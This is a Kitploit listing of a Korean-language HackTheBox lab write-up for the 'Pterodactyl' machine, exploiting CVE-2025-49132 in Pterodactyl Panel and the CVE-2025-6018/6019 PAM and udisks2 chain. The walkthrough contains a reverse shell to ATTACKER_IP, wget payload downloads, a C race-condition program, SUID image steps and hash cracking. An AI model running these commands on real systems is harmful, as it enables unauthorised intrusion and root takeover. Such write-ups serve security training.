Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HTB-Pterodactyl-Writeup — HTB Season 10 - Pterodactyl 머신 writeup. CVE-2025-49132 (Pterodactyl Panel RCE) 및 CVE-2025-6018/6019 (udisks2 권한 상승)를 다루는 Medium 난이도 Linux 머신. | Kitploit
도구/GitHubGitHub/karimelsheikh1/htb-pterodactyl-writeup
Password CrackingPrivilege EscalationReconnaissanceVulnerability AnalysisExploitationLateral MovementWeb Application ExploitationCTFPenetration Testing

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Learning & Education
GitHubkarimelsheikh1/htb-pterodactyl-writeup

HTB-Pterodactyl-Writeup

HTB Season 10 - Pterodactyl 머신 writeup. CVE-2025-49132 (Pterodactyl Panel RCE) 및 CVE-2025-6018/6019 (udisks2 권한 상승)를 다루는 Medium 난이도 Linux 머신.

저장소 보기
3개월 전아직 검토되지 않음

HackTheBox — Pterodactyl 라이트업

난이도: 중간 | OS: Linux (openSUSE Leap 15.6) | 시즌: 10


요약

Pterodactyl은 Pterodactyl 게임 서버 패널을 실행하는 중간 난이도의 Linux 머신입니다. 공격 체인은 패널의 인증되지 않은 LFI-to-RCE 취약점, MySQL을 통한 자격 증명 추출, SSH 접근을 위한 bcrypt 해시 크래킹, 그리고 PAM 세션 주입과 udisks2 XFS 리사이즈 경쟁 조건을 악용하는 두 개의 CVE 권한 상승 체인으로 구성됩니다.

플래그:

  • User: ************************
  • Root: (CVE-2025-6019를 통해 획득)

정찰

Nmap

root@kitploit:~
nmap -sSCV -A --min-rate 4000 10.129.44.184

열린 포트:

PortServiceVersion
22SSHOpenSSH 9.6p1
80HTTPnginx/1.21.5 → pterodactyl.htb

/etc/hosts

root@kitploit:~
echo "10.129.44.184 pterodactyl.htb panel.pterodactyl.htb play.pterodactyl.htb" | sudo tee -a /etc/hosts

웹 열거

root@kitploit:~
dirsearch -u http://pterodactyl.htb/ -t 40
curl -s http://pterodactyl.htb/changelog.txt

changelog에서 얻은 주요 정보:

  • 사이트: MonitorLand
  • 패널 버전: Pterodactyl Panel v1.11.10 (취약함)
  • PHP-PEAR 활성화됨
  • 하위 도메인: panel.pterodactyl.htb

phpinfo.php 분석

root@kitploit:~
curl -s "http://pterodactyl.htb/phpinfo.php" | grep -E "register_argc|include_path|open_basedir|upload_tmp_dir"
설정값의미

초기 접근 — CVE-2025-49132

CVE-2025-49132는 Pterodactyl Panel ≤ v1.11.10에 영향을 줍니다. /locales/locale.json 엔드포인트는 locale 및 namespace 매개변수를 필터링이나 인증 없이 PHP의 include()에 직접 전달하여 디렉터리 트래버설과 pearcmd 기반 RCE를 가능하게 합니다.

익스플로잇

root@kitploit:~
git clone https://github.com/YoyoChaud/CVE-2025-49132
cd CVE-2025-49132

# Dump config (DB creds + APP_KEY)
python3 exploit.py http://panel.pterodactyl.htb

# Test RCE
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "id" \
  --pear-dir /usr/share/php/PEAR

출력: uid=474(wwwrun) gid=477(www) groups=477(www)

추출된 자격 증명

ServiceUsernamePassword
MySQLpterodactylPteraPanel
LaravelAPP_KEYbase64:UaThTPQnUjrrK61o+...

리버스 셸

root@kitploit:~
# Listener
nc -lnvp 4444

# Exploit
python3 exploit.py http://panel.pterodactyl.htb \
  --rce-cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
  --pear-dir /usr/share/php/PEAR

횡적 이동

MySQL 자격 증명 덤프

root@kitploit:~
mysql -u pterodactyl -pPteraPanel -h 127.0.0.1 \
  -e "USE panel; SELECT username,email,password FROM users;"
UsernameHash
headmonitor$2y$10$3WJht3/5GOQmOXdljPbAJet...
phileasfogg3$2y$10$PwO0TBZA8hLB6nuSsxRqoO...

사용자 플래그

root@kitploit:~
cat /home/phileasfogg3/user.txt

해시 크래킹

root@kitploit:~
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt -w 3

결과: phileasfogg3 : !QAZ2wsx

SSH 접근

root@kitploit:~
ssh [email protected]
# password: !QAZ2wsx

권한 상승

Sudo 분석

root@kitploit:~
sudo -l

(ALL) ALL이 구성되어 있지만 targetpw Defaults 옵션은 root의 비밀번호를 요구하므로 일반적인 sudo 악용이 차단됩니다.


1단계 — CVE-2025-6018: PAM 세션 우회

CVE-2025-6018은 openSUSE의 pam_env.so를 악용하여 로그인 시 환경 변수를 주입합니다. ~/.pam_environment에 XDG_SEAT=seat0 및 XDG_VTNR=1을 배치하면 원격 SSH 사용자가 Polkit을 속여 자신의 세션을 활성 로컬 콘솔 세션(allow_active)으로 간주하게 만들어 하드웨어 관리 D-Bus 작업을 잠금 해제할 수 있습니다.

root@kitploit:~
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment

# Exit and SSH back in (PAM re-reads on fresh login)
exit
ssh [email protected]

# Verify
echo $XDG_SEAT   # seat0
echo $XDG_VTNR   # 1

2단계 — CVE-2025-6019: udisks2 XFS 리사이즈 경쟁 조건 → Root

CVE-2025-6019는 udisks2가 Filesystem.Resize D-Bus 호출 중 XFS 이미지를 일시적으로 마운트할 때 libblockdev에 누락된 nosuid 플래그를 악용합니다. 이 시간 창 동안 이미지 내부의 SUID 바이너리를 실행하기 위한 경쟁을 통해 allow_active Polkit 권한을 가진 비특권 사용자가 루트 셸을 얻을 수 있습니다.

XFS 이미지 빌드 (공격자 머신에서)

root@kitploit:~
# Create XFS image using target's mkfs.xfs for compatibility
scp phileasfogg3@TARGET:/sbin/mkfs.xfs /tmp/target_mkfs_xfs

# Build on target directly instead
ssh phileasfogg3@TARGET
dd if=/dev/zero of=/tmp/xfs_new.img bs=1M count=300
/sbin/mkfs.xfs -f /tmp/xfs_new.img

공격자에게 전송, SUID 바이너리 주입, 다시 전송:

root@kitploit:~
# On attacker (as root)
scp phileasfogg3@TARGET:/tmp/xfs_new.img /tmp/xfs_new.img
mount -o loop,suid /tmp/xfs_new.img /tmp/mnt
cp rootbash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl      # Must show -rwsr-xr-x
umount /tmp/mnt
gzip -c /tmp/xfs_new.img > xfs_new.img.gz

빠른 C 레이서 컴파일

root@kitploit:~
// racer.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    char path[512], cmd[512];
    struct stat st;
    while(1) {
        DIR *d = opendir("/tmp");
        struct dirent *e;
        while((e = readdir(d))) {
            if(strncmp(e->d_name, "blockdev.", 9) == 0) {
                snprintf(path, sizeof(path), "/tmp/%s/xpl", e->d_name);
                if(stat(path, &st) == 0 && (st.st_mode & S_ISUID)) {
                    closedir(d);
                    snprintf(cmd, sizeof(cmd),
                        "%s -p -c 'cp /bin/bash /tmp/b; chmod 4755 /tmp/b'", path);
                    system(cmd);
                    return 0;
                }
            }
        }
        closedir(d);
    }
}
root@kitploit:~
gcc -O2 -o racer racer.c

레이스 실행

root@kitploit:~
# On target
wget http://ATTACKER_IP/xfs_new.img.gz && gunzip xfs_new.img.gz
wget http://ATTACKER_IP/racer && chmod +x racer

udisksctl loop-setup -f /tmp/xfs_new.img --no-user-interaction
# Note loop device number (e.g. loop7)

rm -rf /tmp/blockdev.* 2>/dev/null
/tmp/racer &

for i in $(seq 1 300); do
  gdbus call --system \
    --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop7 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' 2>/dev/null &
done
wait

결과: 루트 셸 획득.

root@kitploit:~
id
# uid=0(root)

cat /root/root.txt

공격 체인

root@kitploit:~
[Nmap] Ports 22, 80
    ↓
[Web Enum] changelog.txt → Pterodactyl Panel v1.11.10
    ↓
[phpinfo.php] register_argc_argv=On, PEAR in include_path
    ↓
[CVE-2025-49132] Unauth LFI → pearcmd RCE → wwwrun shell
    ↓
[MySQL] pterodactyl:PteraPanel → bcrypt hashes
    ↓
[Hashcat] phileasfogg3:!QAZ2wsx
    ↓
[SSH] phileasfogg3
    ↓
[CVE-2025-6018] ~/.pam_environment → allow_active bypass
    ↓
[CVE-2025-6019] udisks2 XFS resize race → SUID exec → ROOT

자격 증명

ServiceUsernamePassword
MySQLpterodactylPteraPanel
SSH / Panelphileasfogg3!QAZ2wsx

사용된 도구


참조

  • CVE-2025-49132 PoC
  • CVE-2025-6018-6019 PoC
  • Qualys 권고
  • HackTheBox

작성자: [kareem elsheikh] | HackTheBox 시즌 10

도구 다운로드
register_argc_argv켜짐pearcmd CLI 악용을 가능하게 함
include_path.:/usr/share/php8:/usr/share/php/PEARpearcmd.php 접근 가능
open_basedir(값 없음)무제한 파일시스템 접근
ToolPurpose
nmap포트 스캐닝
dirsearch웹 디렉터리 무차별 대입
CVE-2025-49132 exploit인증되지 않은 LFI + pearcmd RCE
hashcat (-m 3200)Bcrypt 크래킹
CVE-2025-6018-6019 PoCPAM 우회 + udisks2 레이스
Custom C racernosuid 경쟁 조건에서 승리